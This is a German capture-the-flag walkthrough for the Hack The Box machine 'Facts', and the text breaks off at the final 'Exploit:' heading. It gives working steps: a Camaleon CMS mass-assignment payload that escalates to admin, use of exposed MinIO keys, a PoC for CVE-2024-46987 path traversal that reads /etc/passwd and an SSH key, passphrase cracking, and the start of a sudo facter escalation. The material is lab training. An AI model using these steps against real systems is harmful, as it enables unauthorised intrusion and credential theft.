
HTB Facts ist eine einfache Linux-Box mit Camaleon CMS und MinIO. Erhalten Sie Admin-Zugriff über offene Registrierung und eine Massenzuweisungsschwachstelle, extrahieren Sie dann MinIO-Anmeldeinformationen aus den Admin-Einstellungen. Verwenden Sie CVE-2024-46987 Path Traversal, um einen SSH-privaten Schlüssel zu stehlen, knacken Sie dessen Passphrase und eskalieren Sie zu Root, indem Sie sudo-Berechtigungen für facter über GTFOBins missbrauchen.
OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation
Beginne mit einem vollständigen TCP-Port-Scan, um offene Dienste zu identifizieren.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Ergebnisse:
| Port | Dienst | Anmerkungen |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Unbekannt | Als MinIO identifiziert |
Füge das Ziel zu /etc/hosts hinzu:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Beim Aufrufen von http://facts.htb erscheint eine Quiz-Website, die auf Camaleon CMS (Ruby on Rails) basiert. Wichtige Indikatoren:
_factsapp_session (Rails-Session)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumeriere die Sitemap für alle verfügbaren Seiten:
curl -s http://facts.htb/sitemap.xml
Bemerkenswerte entdeckte Pfade:
/admin → leitet weiter zu /admin/login/rss/animal-ejected, /anne-frank, usw.Prüfe auf das Admin-Login-Panel:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Das Sondieren des unbekannten Ports mit curl offenbart MinIO, einen S3-kompatiblen Objektspeicherdienst:
curl -v http://facts.htb:54321
Antwort:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Die Header bestätigen: Server: MinIO
Probiere potenzielle Bucket-Namen aus (eine 403-Antwort allein bestätigt nicht, dass ein Bucket existiert):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Alle geben 403 Forbidden zurück — die Buckets existieren, erfordern aber Anmeldedaten.
Anhand der Asset-Pfade und des Session-Cookies wird das CMS als Camaleon CMS identifiziert.
Prüfe auf bekannte Schwachstellen:
searchsploit camaleon
Ergebnisse:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
Die Version des Admin-Panels wird als 2.9.0 bestätigt (sichtbar im Footer nach dem Einloggen).
Die Admin-Login-Seite unter http://facts.htb/admin/login enthält einen Link "Create an account". Registriere ein neues Konto:
http://facts.htb/admin/users/sign_uptest123 / test123)Client erstelltNach der Registrierung melde dich im Admin-Dashboard an. Das Konto hat eingeschränkte Client-Rechte.
Camaleon CMS ist anfällig für einen Mass-Assignment-Angriff auf den Passwortänderungs-Endpunkt. Durch Abfangen der Passwortänderungsanfrage und Injizieren eines password[role]-Parameters kann ein Angreifer seine eigene Rolle zu admin eskalieren.
Schritte mit Burp Suite:
Client-Konto im Admin-Panel an.Profile → Edit → Change Password.&password[role]=admin an den Request-Body an:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK sein.Das Konto hat nun admin-Rechte, was vollen Zugriff auf das CMS-Admin-Panel gewährt, einschließlich Settings, Media und Filesystem Settings.
Mit Admin-Zugriff navigiere zu:
Settings → General Site → Filesystem Settings
Die Seite offenbart fest kodierte MinIO- (AWS S3-kompatible) Anmeldedaten:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Konfiguriere die AWS CLI und enumeriere die Buckets:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Entdeckte Buckets:
2025-09-11 internal
2025-09-11 randomfacts
Der internal-Bucket enthält das Home-Verzeichnis des Benutzers trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativ kann der SSH-Private-Key über CVE-2024-46987 abgerufen werden, eine authentifizierte Path-Traversal-Schwachstelle in Camaleon CMS, die das Lesen beliebiger Serverdateien ermöglicht.
Klone den öffentlichen PoC:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Lies sensible Dateien:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Ausgabe (relevante Zeilen):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Zwei Benutzer werden identifiziert: trivia und william. Da trivia eine Login-Shell und ein Home-Verzeichnis hat, prüfe auf einen SSH-Private-Key:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Speichere die Key-Ausgabe in einer Datei:
chmod 600 id_ed25519
Der SSH-Private-Key ist mit einer Passphrase verschlüsselt. Verwende ssh2john und john, um sie zu knacken:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Geknackte Passphrase: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Rufe die User-Flag ab:
cat /home/william/user.txt
Prüfe die Sudo-Berechtigungen für den Benutzer trivia:
sudo -l
Ausgabe:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Der Benutzer kann /usr/bin/facter als Root ohne Passwort ausführen. facter ist ein Ruby-basiertes Systeminformationswerkzeug.
Laut GTFOBins kann facter benutzerdefinierte Ruby-Fact-Dateien über --custom-dir laden, die als der aufrufende Benutzer ausgeführt werden (in diesem Fall Root).
Exploit: